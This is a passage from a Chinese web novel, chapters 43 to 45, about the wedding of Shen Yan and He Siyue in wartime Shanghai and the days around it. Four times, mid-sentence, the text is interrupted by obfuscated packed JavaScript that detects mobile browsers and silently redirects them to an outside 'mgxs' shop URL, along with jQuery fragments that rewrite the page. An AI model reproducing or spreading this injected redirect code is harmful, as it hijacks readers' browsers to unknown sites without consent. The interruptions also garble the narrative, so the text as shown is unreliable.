他起身，整理了一下自己同样凌乱的衣襟，走到门边，手放在门把上，又回头看了她一眼，何思玥靠在床头，脸颊的红晕还未完全褪去，眼眸却亮晶晶地望着他，那里面没有后悔，只有一片坦然的、被爱浸润的柔软。 沈晏心头那最后一丝紧绷的弦，终于彻底松了下来。他朝她露出一个有些疲惫、却无比真实的笑容。 “等我。” 门被轻轻带上。 何思玥抬手，指尖轻轻碰了碰自己颈侧被他亲吻过的地方，那里似乎还残留着灼热的温度和微微的麻痒。 她低下头，嘴角不由自主地扬起一个羞涩又甜蜜的弧度。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073708|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思玥见沈晏久久没有上楼，心里没底的她，便下了楼。 她站在楼梯口，便听到客厅的谈论声，好像是关于外交方便的，来人好像是从美国回来的，现在好像任外务部顾问。 来人看见楼梯口的何思玥，便停止了谈话。 “顾先生，这位是我夫人，何思玥。”沈晏转过身，“这位是内阁秘书顾辰昀。” 何思玥脚步微微一顿，停在楼梯转角处。 客厅里昏黄的灯光下，除了沈晏，还坐着一位身着浅灰色西装、身形颀长的男子。 男子约莫三十出头，戴着一副金丝边眼镜，面容清俊，气质斯文儒雅，但镜片后的目光却透着一种敏锐的审度。 听到沈晏的介绍，顾辰昀立刻站起身，朝何思玥的方向微微欠身，姿态优雅得体：“沈夫人，久仰。常听沈兄提及，今日得见，果然清雅出尘，名不虚传。” 他的声音温和有礼，标准的官话里带着一点不易察觉的南方口音。 何思玥扶着楼梯扶手，缓步走下最后几级台阶。 她身上还穿着家居的素色旗袍，外罩一件薄绒开衫，因为刚才的缠绵，发丝还有些许凌乱，颈侧或许还留着未散的绯红。 但这些都无损她身上那种沉静安然的气质。 她朝顾辰昀点了点头，露出一丝恰到好处的浅笑：“顾先生过誉了。外子谬赞，当不得真。不知有客来访，失礼了。”她的目光快速扫过沈晏。 沈晏已经恢复了平日里的从容，只是眉宇间还残留着一丝未散的紧绷，看向她时，眼神里带着询问和一丝不赞同——似乎在责怪她不该下楼。 “是顾某冒昧来访，扰了沈夫人休养才是。”顾辰昀笑容不变，目光在何思玥脸上停留一瞬，随即礼貌地移开，“方才正与沈兄谈及近日国际局势，尤其是美日之间的一些动向，声音或许大了些，惊动了夫人，实在抱歉。” “顾先生言重了。”何思玥走到沈晏身侧，沈晏很自然地伸手虚扶了一下她的胳膊，让她在旁边的单人沙发坐下。这个小动作落在顾辰昀眼里，他眼底极快地掠过一丝了然。 “我只是下来看看。”何思玥解释道，声音轻柔，“你们继续谈正事，不用顾及我。” 沈晏看了她一眼，见她神色如常，才转向顾辰昀，语气恢复了谈论正事时的冷静：“刚才说到，顾兄认为，日方近期在华北的频繁动作，背后可能有更深的图谋？” 顾辰昀端起茶几上的白瓷茶杯，轻轻吹了吹浮叶，却没有立刻回答。 他的目光似乎不经意地再次掠过何思玥，才缓缓开口：“不只是华北。上海……恐怕也难以独善其身。东京方面对‘中国派遣军’的增兵要求，在美国那边碰了钉子，但以他们的作风，绝不会轻易罢休。下一步，要么是更大规模的军事冒险，要么……就是试图从内部瓦解，寻找新的‘合作伙伴’或者‘突破口’。” 他的话语点到即止，但在座的都听懂了其中深意。 所谓“合作伙伴”和“突破口”，无非是拉拢、威逼利诱那些有影响力的中国人，或者寻找中方防线的薄弱之处。 客厅里一时安静下来，只有窗外淅淅沥沥的雨声，气氛因为顾辰昀的话而显得有些凝重。 43. 第 43 章 忙到来年的四月，天气也跟着暖和起来，思玥的孝期也结束了，何思玥和沈晏终于等到了属于他们的婚礼。 晨光熹微，透过雕花窗棂，在梳妆台上投下斑驳的光影。 何思玥困倦地半阖着眼，任由沈希希、周晓芸和几个相熟的女眷围着她忙碌。 镜子里的脸有些苍白，眼下带着淡淡的青影，是连日筹备婚礼和医院事务累积的疲惫。 “嫂嫂，快醒醒神！”沈希希拿着梳子，轻轻梳理她及腰的长发，语气雀跃，“今天可是你的好日子，要打起精神来。” 何思玥勉强笑了笑。是啊，好日子。 父母离去已近三年，孝期刚满，她和沈晏便决定完成这迟来的仪式。 没有大张旗鼓，只请了最亲近的亲友，地点就在他们自己的小洋楼里。 沈晏说，家在哪里，婚礼就在哪里。 可心底总有一块地方，是空的，是冷的。 母亲曾说，要亲手为她绾发，父亲曾说，要牵着她走过红毯。如今，铜镜里只有她自己，和身后沈希希年轻鲜活的脸庞。 “来，试试这个。”陆医生的夫人——一位温婉的妇人，将一支点翠凤凰步摇轻轻簪入她绾好的发髻。金翠交辉，映着她乌黑的云鬓。“这是陆家祖上传下来的，说是能添福气。我瞧着你戴正合适。” 冰凉的金属触感让何思玥微微一颤。她看着镜中那抹华丽的翠色，想起母亲仅有的几件首饰里，也有一支简单的玉簪。父亲说，那是他们的定情信物。 “谢谢陆夫人。”她轻声道谢，压下喉间的酸涩。 妆面上好了，是时下流行的薄施脂粉，淡扫蛾眉，唇上点了浅浅的胭脂。镜中人褪去了几分憔悴，多了些柔美的光彩，只是那双眼睛，沉静依旧，深处藏着难以抹去的沧桑。 嫁衣不是传统的凤冠霞帔，而是一袭沈晏特意请人定制的西式象牙白绸缎礼服。 线条简洁优雅，领口和袖口绣着同色暗纹的缠枝莲，既有新式风貌，又暗合了传统寓意。何思玥抚过光滑冰凉的缎面，指尖感受到那精细的刺绣纹理。 “哥哥的眼光真是没得挑，”沈希希帮她整理着裙摆，啧啧赞叹，“这料子，这做工，上海滩怕是找不出第二件。嫂子穿起来，简直像画报里的明星！” 正说着，楼下隐约传来宾客的谈笑声和留声机播放的舒缓音乐。婚礼虽从简，该有的喜庆气氛还是要有。 房门被轻轻叩响，陆医生的声音传来：“思玥，准备好了吗？沈先生在楼下等着呢。” 何思玥深吸一口气，对着镜子最后看了一眼。镜中的新娘，美丽，端庄，眼神复杂。她拿起桌上一方素白的手帕——那是母亲生前用过的，边缘已经有些磨损，却洗得干干净净。她将它仔细地叠好，握在掌心。 然后，她站起身。裙摆如水银泻地，流淌开来。 沈希希和女眷们簇拥着她走出房门。楼梯铺了红毯，一步步走下去，心跳也跟着清晰起来。楼下的客厅布置成了简单的礼堂，缀着鲜花和彩绸。熟悉的、不熟悉的面孔都望了过来，带着祝福的笑意。 沈晏就站在客厅中央，背对着楼梯，正低声与杨石泽说着什么。 他今日穿了一身挺括的黑色西装，头发梳理得一丝不苟，身姿挺拔。似乎是感应到她的目光，他忽然转过身，朝楼梯上望来。 四目相对。 时间仿佛凝滞了一瞬。沈晏眼中的惊艳、温柔、还有一丝不易察觉的疼惜，清晰地映入何思玥眼底。他朝她伸出手，唇角勾起温暖而坚定的弧度。 何思玥一步步走下楼梯。红毯柔软，却仿佛踏在棉花上。周围的声音渐渐模糊，只有他的身影，在视野中越来越清晰。 她走到他面前，将手放入他的掌心。他的手温暖有力，稳稳地包裹住她微凉的手指。 没有神父，主持仪式的是德高望重的陆医生。简单的致辞后，便是交换戒指的环节。 沈晏取出一个丝绒小盒，里面是一对素雅的金戒，内圈刻着他们名字的缩写和婚期--“思玥，”他的声音低沉而郑重，“这场婚礼迟到了太久。但我对你的心意，从未改变，也永不改变。从今往后，风雨同舟，生死与共。” 他将戒指缓缓套入她的无名指。尺寸刚刚好。 轮到何思玥了，她也取出戒指，是同样款式的女戒。她抬头看着沈晏，看着这个在她最绝望时守护她、在她失去一切后给她一个家的男人。千言万语哽在喉头，最后只化作一句： “沈晏，余生，请多指教。” 戒指戴上的那一刻，沈晏忽然上前一步，低头，在她额头上印下极轻、却极其珍重的一吻。周围响起善意的掌声和低呼。 何思玥闭上眼，感受那片刻的温暖。掌心，母亲的手帕被她攥得紧紧的，仿佛这样，就能让双亲也见证这一刻。 简单的仪式后，便是家宴。菜色精致，气氛融洽。 沈晏一直握着她的手，不时低声与她说话，为她布菜，周到体贴得无可挑剔。在旁人看来，这无疑是一对情深意笃、历经坎坷终成眷属的爱侣。 只有何思玥自己知道，心底那片冰封的角落，依旧在隐隐作痛。 喜悦是真的，对沈晏的依赖和感情也是真的，但那失去至亲的创口，从未真正愈合。它只是被妥帖地掩藏在这身洁白嫁衣和此刻的喜庆之下。 宴席将散时，沈晏被几位相熟的商人朋友拉着说话，何思玥独自走到客厅外的露台上。 春夜的风格外温柔，带着花香。远处城市的灯火与天上的星辰交相辉映。 她摊开手掌，那方素白的手帕在夜风中微微飘动。 “爹，娘，”她望着夜空，用只有自己能听到的声音说，“女儿今天……嫁人了。他……对我很好。你们……可以放心了。” 眼泪终于还是滑落下来，滴在手帕上，晕开小小的深色痕迹。但她很快抬手擦去，深深吸了口带着凉意的空气。 身后传来熟悉的脚步声，沈晏的外套披在了她肩上。 “外面凉。”他从身后拥住她，下巴抵着她的发顶，“累了？” 何思玥靠进他怀里，摇了摇头。他的怀抱宽厚温暖，驱散了夜风的微寒，也暂时填补了心底的空洞。 “沈晏。” “嗯？” “谢谢你。”她说，声音很轻，却带着全部的重量。 谢谢你在我一无所有时，给我一个家。谢谢你在我心如死灰时，始终不曾放弃。谢谢你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078510|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …愿意等我，陪我走过这段最黑暗的路。 沈晏没有回答，只是更紧地拥住了她，吻了吻她的发丝。 何思玥刚准备说一些什么，沈晏被朋友们叫走了。 沈希希在沈晏的嘱咐下，将何思玥搀回了房间，“嫂子，你吃饱了没？要不要我再去弄点吃的给你？” 何思玥摇了摇头，“不用了，我刚刚已经吃了不少东西，我这边也没有什么事情，你出去和周晓芸她们去玩吧，她们都在等着呢。” “那嫂子，我就先出去了？” 何思玥扬了扬手，“去吧，没事的。” 沈希希又叮嘱了几句“累了就早点休息”，才脚步轻快地退出了新房，顺手带上了门。 房间里霎时安静下来。 红烛高烧，将贴着双喜字的房间映照得一片暖融。空气中还残留着淡淡的花香和酒气，混合着新家具的木材味道。 何思玥在梳妆台前坐下，看着镜中一身嫁衣的自己。 热闹散去，疲惫感后知后觉地涌上来，但更多的是一种茫然的空落，她抬手，慢慢卸下发间的点翠步摇，又取下一对小巧的珍珠耳环，首饰冰凉的触感让她指尖微颤。 目光落在梳妆台一角那个樟木小匣上，她打开匣子，里面静静躺着母亲那方素白手帕，还有父亲那只染血的旧怀表。指尖轻轻拂过冰冷的表壳和柔软的棉布，心脏像是被一只无形的手攥紧，闷闷地疼。 门外隐约传来楼下客人们尚未散尽的谈笑声，沈希希清脆的笑语，还有留声机里缠绵的爵士乐。 那些声音像是隔着一层毛玻璃，模糊而遥远。 她走到窗边，推开一丝缝隙，春夜的凉风趁机钻入，吹动了她额前的碎发。 楼下花园里，灯笼的光晕柔和，依稀可见三三两两的人影。她看到沈晏站在一丛栀子花旁，正与杨石泽低声交谈着什么，侧脸在灯光下半明半暗，神情专注。 他似乎感应到她的目光，忽然抬起头，朝窗口望来，隔着距离和光影，何思玥看不清他眼中的情绪，却能感觉到那目光的穿透力，带着安抚与关切。 她对他微微颔首，示意自己没事。 沈晏似乎想上楼，却被旁边的陆医生拉住了，又说了几句什么。他最终只是朝窗口的方向举了举手中的酒杯，做了一个“稍等”的口型。 何思玥拉上了窗帘，将喧嚣与目光都隔在外面。 她回到床边坐下，手指无意识地摩挲着光滑的丝绸被面。 这间卧室是他们一起布置的，家具是她选的式样，窗帘是她挑的颜色，连床头那盏台灯，都是他们一起在旧货市场淘来的。处处都有生活的痕迹，却又因为今日的喜庆布置，显得既熟悉又陌生。 等待的时间变得缓慢，烛火偶尔噼啪轻响，更衬得房间寂静。 不知过了多久，门外终于传来沉稳的脚步声，停在门口，轻微的钥匙转动声后，门被推开。 沈晏走了进来，身上带着淡淡的酒气和夜风的凉意。他已经脱掉了西装外套，领带也松开了些，额发微微凌乱，眼神却清明深邃。 他反手关上门，目光第一时间锁住坐在床边的她。 “等久了？”他走到她面前，蹲下身，视线与她齐平。 44. 第 44 章 沈晏的手掌覆上她交叠放在膝上的手，掌心温热。“楼下那些家伙，硬拉着灌酒，杨石泽那小子也不帮忙。” 他的语气带着惯常的、只在她面前才有的温和与一丝无奈，试图驱散房间里过于凝重的气氛。 何思玥摇了摇头，看着他近在咫尺的脸。烛光在他英俊的轮廓上跳跃，照亮他眼底清晰的、属于她的倒影。 “没有等很久。”她轻声说，“都……散了吗？” “差不多了。父亲和希希会招呼剩下的人。”沈晏回答，目光落在她卸了妆后更显清丽却苍白的脸上，眉头几不可察地蹙了一下，“累了吧？” 何思玥想说不累，话到嘴边却变成了一声几不可闻的叹息。 累，身体是累的，心也是沉的。 只是这累和沉，并非全然因为今日的婚礼。 沈晏读懂了她的沉默。 他没有再问，只是起身，坐到她身边，将她轻轻揽入怀中。他的怀抱坚实温暖，带着令人安心的气息。 “思玥，”他低声唤她的名字，下巴抵着她的发顶，“今天是我们成婚的日子。我知道，你心里还想着岳父岳母……这很正常。我不要求你立刻开心起来，也不要求你忘记。” 他的声音很稳，一字一句，清晰地送入她耳中：“我只是想让你知道，从今往后，无论你是喜是悲，是累是痛，都有我在这里。这个家，是我们的。你的根，扎在这里。我……也是你的。” 何思玥的鼻子一酸，眼眶瞬间湿热。她将脸更深地埋进他胸口，汲取着他身上的温暖和力量。 是啊，从今往后。法律上，仪式上，情感上，他们都被紧紧地联结在了一起。 父母留下的空缺无法填补，但身边这个人，给了她继续走下去的勇气和另一个意义上的“完整”。 “沈晏，”她闷闷的声音从他怀里传来，“我会努力……做一个好妻子。” 沈晏的手臂收紧了些，带着怜惜的力道。“你不需要‘努力’做什么，”他的声音有些哑，“你做你自己就好。是我的妻子，是何思玥，是那个在手术台上不肯放弃的医生，是那个会为陌生孩子流泪的姑娘……这就够了。” 他稍稍松开她，低头看着她湿润的眼睛，用指腹轻轻擦去她眼角的泪痕。“我们有一辈子的时间，慢慢来。不着急。” 红烛静静燃烧，流下长长的烛泪。夜更深了，楼下的声响终于完全归于寂静。 沈晏起身，走到桌边，倒了两杯温水。 一杯递给她，自己拿着另一杯，却没有喝，只是看着她小口啜饮。 “睡吧？”他问，眼神温柔。 何思玥点点头。 红烛被吹熄，只留下一盏小小的床头灯，散发着朦胧的光晕，崭新的丝绸被褥带着阳光晒过的味道。 何思玥蜷缩在沈晏身边，他的手臂环过她的腰，掌心习惯性地、小心翼翼地覆在她的小腹上——那里，有一个他们共同期待的新生命在悄然生长。 身体的疲惫和精神的松弛终于一同袭来。 何思玥在熟悉的怀抱和气息中，意识渐渐模糊。 临睡前，她依稀感觉到一个极轻的吻，落在她的眉心。 还有他低沉的、仿佛誓言般的话语，融化在无边温柔的夜色里： “晚安，沈太太。” “余生，请多指教。” ...... 第二天一早，何思玥醒来的时候，沈晏在梳妆台那边整理东西。 “沈晏，一早上你忙什么呢？” “昨天朋友们送的礼物，适合你的，我就帮你拿上来了。” 何思玥拥着被子坐起身，晨光透过纱帘，给房间蒙上一层柔和的浅金色。 她看到沈晏坐在梳妆台前，正将几个包装精致的锦盒和纸袋从一个大托盘里拿出，分门别类地摆放。 “今天要去给父亲敬茶磕头，你怎么不叫醒我？”她声音还带着刚睡醒的微哑，揉了揉眼睛。 沈晏闻声转过头，晨光落在他清隽的侧脸上，眼神温和。 “看你睡得沉，想让你多睡会儿，再说我父亲都说了，他不在乎这些礼节，等你什么时候睡醒了，我们再回去。”他拿起一个深蓝色的丝绒长盒，走到床边坐下，“看看这个，陆夫人送的，说是给你的新婚贺礼，也是谢礼。” 何思玥接过，打开盒子。里面是一套精致的银制手术器械，在晨光下闪着冷冽而纯净的光泽，刀柄上还刻着细小的莲花纹样，与她嫁衣上的暗纹隐约呼应。 下面压着一张卡片，是陆医生遒劲的字迹：“赠思玥：仁心仁术，如莲清雅。愿此械助你，救治更多苍生。” 何思玥指尖抚过冰凉的器械，心头暖流涌动。 这套器械比医院里常用的要精巧许多，显然是特意定制的。“太贵重了……”她喃喃道。 “陆医生和夫人是真心感激你，也看重你。”沈晏温声道，“收下吧，这是你应得的。”他又拿过一个略小的木匣，“这是杨石泽送的。” 打开木匣，里面是一对莹润的白玉平安扣，用红绳系着，底下垫着一张便签，字迹挺拔：“一点心意，祝二位白首同心，平安顺遂。” “他倒是会送。”沈晏笑了笑，“知道你不在意金银，这玉扣寓意好，也衬你。” 何思玥拿起一枚玉扣，触手温润。杨石泽这份礼，既不失礼数，又恰到好处地保持了距离和分寸。 接着，沈晏又拿出了几样：周晓芸送的一对苏绣鸳鸯枕套，针脚细密，栩栩如生；沈希希送的一瓶法国香水，包装精美，散发着淡淡的玫瑰香气；还有几位相熟商界朋友送的衣料、首饰等。 每一件礼物，沈晏都仔细告诉她是谁送的，言语间带着对送礼人用心的品评。 何思玥静静听着，看着他认真整理的模样。这个男人，在商场上运筹帷幄，在家事上却也如此细致周到。 “这些，”沈晏指了指那些衣料首饰，“你看看有没有喜欢的，留着用。不喜欢的，或者太扎眼的，我就让人收起来，或者找个由头回赠等价的东西。”他考虑得很周全，既尊重了送礼人的情谊，也顾及了她的喜好和如今并不张扬的处境。 “你安排就好。”何思玥轻声说，目光落在那些礼物上，又移到沈晏脸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082192|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 晨光里，他眉眼舒展，少了平日商场上的锐利，多了居家的柔和。 “还有这个，”沈晏从西装内袋里取出一个没有任何标记的朴素信封，递给她，“顾辰昀托人送来的，没有署名，但我知道是他。” 何思玥接过，信封很轻。她抽出里面的东西——不是贺卡，也不是礼单，而是一张印制精美的、盖着好几个国家使馆印章的特别通行证，持证人的名字空着，但附有一张简短的字条，只有一句话：“聊表心意，或可备不时之需。祝安。” 何思玥心头一震。这份“礼物”看似无形，其分量和背后的能量却远超任何实物。 在如今的上海，这样一张通行证，在某些时候可能就意味着一条生路。 “他……”何思玥看向沈晏。 沈晏点点头，神色平静：“收着吧。他既然送了，就是一番诚意。我们用不用得上另说，但这份人情，我记下了。”他将通行证重新装回信封，放到梳妆台一个带锁的抽屉里，“这东西，知道的人越少越好。” 处理完礼物，沈晏又走回床边，俯身看着她：“饿不饿？吴妈熬了小米粥，蒸了你爱吃的虾饺，还炖了燕窝。” 何思玥确实有些饿了，点点头。 “那起来洗漱，我等你一起吃。”沈晏说着，很自然地拿起搭在椅背上的晨褛，为她披上。 何思玥下床，走到梳妆台前。 镜中的自己，长发微乱，气色比昨日好些，眼角眉梢间，终究是染上了一些属于新嫁娘的、淡淡的柔婉光彩。 她刚拿起木梳，准备梳理长发，沈晏却接过梳子，“新婚第一天的头发，还是我帮你梳理吧”。 沈晏动作轻柔地帮她梳理着，生怕一用力就弄疼了她。 “沈先生，谢谢你。” 梳齿穿过乌黑顺滑的发丝，动作是沈晏在商场上绝不会有的耐心与轻柔。 何思玥看着镜中他专注的侧脸，那句“谢谢”便自然而然地脱口而出。 沈晏的手微微一顿，随即继续梳着，嘴角却漾开一丝笑意：“谢我什么？梳个头而已。” “不只是梳头。”何思玥的目光在镜中与他交汇，“谢谢你……把所有事情都安排得这样妥帖。礼物，早餐，还有……”她顿了顿，“还有这个早晨。” 这个平静、寻常，却因为他的存在而变得无比珍贵的早晨。 没有惊涛骇浪，没有沉重过往的阴影刻意盘桓，只有阳光、木梳划过发丝的细微声响，和他落在她发顶的温柔目光。 沈晏放下了梳子，双手轻轻搭在她肩上，俯身靠近镜面，让自己的脸贴着她的颊侧。“思玥，” 他的声音低缓，带着晨起特有的微哑，“我们之间，不用总说谢谢。为你做任何事，都是我心甘情愿，而且……”他顿了顿，看着镜中她清亮的眼睛，“能这样为你梳头，陪你吃一顿安静的早饭，于我而言，是比谈成任何一桩生意都更值得高兴的事。” 他说得认真，没有丝毫敷衍或甜言蜜语的味道，只是陈述一个事实。 何思玥心头那片最柔软的地方被轻轻触动，暖意蔓延开来。 45. 第 45 章 何思玥抬手，覆上他搭在她肩头的手背。他的手很大，骨节分明，温暖而有力。 “我知道。”她轻声说，唇角也浮起浅浅的弧度，“但我还是想说。” 沈晏低头，在她发间落下一个轻吻，没有再多言。有些情意，本就无需赘述。 他直起身，拿起桌上一根朴素的乌木簪子——那是何思玥平日用的。“今天想绾个什么样的？” 何思玥看着镜中：“简单些就好。” 沈晏应了一声，手指在她发间灵活地穿梭。 他显然不是熟手，动作有些生涩，却极其认真，小心翼翼地拢起她的长发，试图挽成一个简单的髻。试了几次，总有一缕不听话地滑落，他也不恼，耐心地重新整理。 何思玥静静坐着，任由他摆弄。看着他微微蹙起的眉头和全神贯注的眼神，两人虽然领证已经好几年了，而今的相处还是有一些微妙的紧张和陌生感，渐渐化作了融融的暖意。 这个男人，愿意为她做这些最琐碎、最日常的小事，笨拙却真诚。 终于，一个略有些松散、但还算齐整的发髻绾成了。沈晏用那根乌木簪子固定住，端详了一下镜子，似乎不太满意：“好像……歪了点。” “已经很好了。”何思玥抬手轻轻碰了碰，发髻松软，并不紧绷，反而有种随意的舒适感，“我很喜欢。” 沈晏这才松了口气，脸上露出孩子气般的满意笑容。他转身从衣架上取来一件家常的藕荷色旗袍，帮她换上。动作间依旧带着那份珍重的小心翼翼。 洗漱完毕，两人一同下了楼。 餐厅里，阳光洒满半张桌子，吴妈已经将早餐摆放妥当。清粥小菜，虾饺晶莹，炖盅里燕窝温润，都是最家常的味道。 早餐在静谧温馨的气氛中用完。 碗碟撤下后，何思玥想了想，对沈晏说：“等我们吃完，去买一点东西给爸爸和希希，然后一起去爸爸那边。” 她说得自然，“爸爸”指的自然是沈晏的父亲，沈老爷子。 虽然婚礼从简，但新婚第二日去拜见长辈，是应有的礼数。 沈晏闻言，眼神更加柔和，握住她的手：“好的，都听你的。”他略一沉吟，“父亲喜欢湖笔徽墨，前些日子听说‘朵云轩’新到了一批上好的。希希那丫头，最近迷上了看电影，总念叨着最新款的‘明星牌’口红，托人从香港带了两支，正好今天拿给她。” 他总是这样，将她的心意考虑进去，并提前准备得妥妥当当。 何思玥心下感动，点点头：“你想得周到。那……我们给爸爸再带些他爱吃的杏仁酥和茯苓饼，老字号‘王仁和’的。希希除了口红，再给她挑条时兴的丝巾吧，春天配旗袍正合适。” “好。”沈晏微笑应下，起身道，“我去换身衣服，让老陈备车。” 半个时辰后，汽车驶出小洋楼，融入了上海四月上午的车水马龙。 阳光正好，街道两旁的梧桐树已抽出嫩绿的新叶，空气中浮动着隐约的花香。 先去“朵云轩”选了笔墨，又到“王仁和”买了点心，最后在永安百货为何思玥挑了一条浅碧色绣玉兰花的真丝纱巾给沈希希，配上那两支精致的口红，用漂亮的礼盒装好。 沈家老宅在法租界一处僻静的弄堂深处，是一座带着小花园的三层石库门房子，闹中取静。 车子停稳，早有佣人迎了出来，恭敬地唤着“少爷”、“少奶奶”。 沈老爷子正在书房里戴着老花镜看报纸，听到动静，放下报纸，脸上露出笑容。他年过六旬，精神矍铄，面容与沈晏有几分相似，气质更为儒雅平和。 “父亲。”沈晏携何思玥上前，恭敬地问好。 “爸爸。”何思玥跟着唤了一声，将带来的礼物奉上，“给您带了点笔墨和点心，不知合不合您心意。” 沈老爷子接过，看了看，连连点头：“好好，朵云轩的湖笔，王仁和的点心，都是我这老头子喜欢的。你们有心了。”他目光温和地看向何思玥，“思玥啊，进了我们沈家的门，就是一家人了。阿晏这孩子，有时候脾气倔，生意场上事情又多，你多担待一点。要是他敢欺负你，你来告诉我，我替你教训他。” 话语朴实，却透着长辈的认可与爱护。何思玥心头一暖：“爸爸言重了，沈晏他……对我很好。” 沈晏在一旁笑着插话：“父亲，您这可偏心了，还没怎样呢，就先给她撑腰了。” “你这小子！”沈老爷子笑骂一句，气氛顿时轻松起来。 正说着，沈希希像只欢快的鸟儿一样从楼上跑下来，看到何思玥，眼睛一亮：“嫂子！你们来啦！”她先跟父亲和哥哥打了招呼，就亲热地挽住何思玥的胳膊。 “希希，给你的。”何思玥将丝巾和口红的礼盒递给她。 “呀！谢谢嫂子！”沈希希打开一看，更是惊喜，“这丝巾真漂亮！还有这口红，正是我想要的颜色！”她迫不及待地拿起丝巾在颈间比划，又对着小镜子试了试口红，青春明媚的脸上满是欢喜。 看着妹妹高兴的样子，沈晏眼里也带着笑意。 他陪着父亲说了会儿话，主要是汇报一些生意上的近况和时局动向，语气平稳，报喜不报忧。 何思玥则被沈希希拉到一旁，听她叽叽喳喳地说着学校里和闺中密友的趣事。 中午，一家人在一起用了顿家常便饭。 饭桌上，沈老爷子问起何思玥医院的情况，听说她仍坚持每周去几次，点点头：“救死扶伤是积德的事，但也要注意身体，如今毕竟不同往日了。”言语间是长辈的关切，并无反对之意。 何思玥恭敬应了。 饭后，又坐了片刻，沈晏便起身告辞，说是不打扰父亲午休。沈老爷子也没多留，只是又叮嘱了几句，让两人常回来看看。 回程的车上，何思玥靠着沈晏的肩膀，看着窗外掠过的街景。阳光透过车窗，暖暖地照在身上。 “累吗？”沈晏问。 “不累。”何思玥摇摇头，心里是满满的踏实感。沈家的接纳与温暖，驱散了她心底最后一丝因“新妇”身份而产生的忐忑。他的父亲慈爱，妹妹活泼，家庭和睦简单，让她感受到了一种久违的、属于“家”的宁静氛围。 沈晏揽住她的肩，让她靠得更舒服些。“我父亲好像对你比对我这个亲儿子还要好。”他低声说，语气带着醋意。 “希希还是那么可爱。”何思玥微笑道。 沈晏那句带着醋意的低语，让何思玥忍不住轻笑出声。她侧过头，看着他故作委屈的侧脸，清晨阳光勾勒出他挺直的鼻梁和微抿的唇线。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085542|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“沈先生，你这是……在吃醋吗？”她故意放轻了声音，带着一丝调侃。 沈晏瞥了她一眼，手臂揽着她的力道紧了紧，将她更密实地圈在怀里，下巴蹭了蹭她的发顶，声音闷闷的：“不行吗？我父亲看你那眼神，比看我这亲儿子还慈祥。还有希希那丫头，见了你比见了我还亲热。”他说着，自己似乎也觉得有些好笑，语气里那点醋意散了大半，剩下的是满满的温柔与满足。 何思玥心里像被羽毛轻轻搔过，泛起细细密密的甜。她抬起手，指尖轻轻碰了碰他近在咫尺的下颌，那里有清晨新冒出的、短短的胡茬，有些扎手。 “那是因为……”她顿了顿，声音轻柔却清晰，“我是你选的妻子啊，因为他爱你，所以也想给我这个儿媳更好的。” 简单一句话，却让沈晏的身体几不可察地微微一震。 他低下头，深邃的目光锁住她，里面翻涌着复杂的情愫——有动容，有爱怜，还有一种深沉的、被全然接纳和理解的慰藉。 是啊，她是他的选择，是他历经风波、跨越生死也要携手同行的人。 父亲的认可，妹妹的喜爱，何尝不是对他选择的肯定与祝福？这份“醋意”，底下藏着的，是骄傲，是珍视，是将她全然纳入自己生命版图后的安心。 他没有再说话，只是低下头，吻了吻她的额头。这个吻不同于昨夜的激情或清晨的珍重，更像是一个无声的印章，盖在了她刚才那句话上。 车厢内恢复了安静，只有引擎低沉的轰鸣和窗外市井隐约的喧闹。阳光透过玻璃，在他们交握的手上跳跃。 何思玥重新靠回他肩头，目光望向窗外。街景流转，卖花的妇人，黄包车夫，行色匆匆的路人……这浮世绘般的景象，此刻在她眼中都蒙上了一层温暖的滤镜。 因为身侧有他，因为有了一个可以称之为“家”的归处。 “沈晏。”她忽然轻声唤他。 “嗯？” “等过些日子，医院没那么忙了，我想……去看看爹娘。”她的声音很轻，带着不易察觉的颤音，但很坚定。 沈晏立刻明白了她的意思。去看望她安葬在西郊的父母。 “好。”他没有任何犹豫，握住她的手，十指相扣，“我陪你去。我们一起去。” 他的回答干脆而肯定，仿佛这是天经地义的事情。 何思玥眼眶微热，将脸更深地埋进他肩窝，嗅着他身上清冽好闻的气息，轻轻“嗯”了一声。 